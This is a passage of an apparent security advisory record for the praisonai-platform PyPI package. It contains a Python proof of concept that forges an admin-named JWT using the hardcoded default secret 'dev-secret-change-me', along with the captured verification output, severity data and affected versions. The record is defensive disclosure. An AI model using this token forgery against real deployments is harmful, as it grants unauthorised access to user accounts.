__init__\nFakeUser=type(\"U\",(),{\"id\":\"attacker-id\",\"email\":\"attacker@evil.test\",\"name\":\"admin\"})\ntok=svc._issue_token(FakeUser)                              # REAL _issue_token (default secret)\nprint(\"[*] REAL _issue_token ->\", tok[:46],\"...\")\nident=svc._verify_token(tok)                                # REAL _verify_token\nprint(\"[+] REAL _verify_token ->\", {\"id\":ident.id,\"email\":ident.email,\"name\":ident.name})\nassert ident and ident.id==\"attacker-id\" and mod.JWT_SECRET==\"dev-secret-change-me\"\nprint(\"[+] CONFIRMED against real praisonai-platform repo: default 'dev-secret-change-me' issues+verifies a token via the repo's own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to 'dev')\")\n```\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n[*] REAL module JWT_SECRET = 'dev-secret-change-me' | _DEFAULT_SECRET = 'dev-secret-change-me'\n[*] REAL _issue_token -> eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiO ...\n[+] REAL _verify_token -> {'id': 'attacker-id', 'email': 'attacker@evil.test', 'name': 'admin'}\n[+] CONFIRMED against real praisonai-platform repo: default 'dev-secret-change-me' issues+verifies a token via the repo's own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to 'dev')\n```\n\n## Credit\n\nKai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai-platform"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.1.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.1.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cwj8-7gp2-ggcw"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1188", "CWE-798" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-18T14:27:34Z",
    "nvd_published_at" : null
  }
}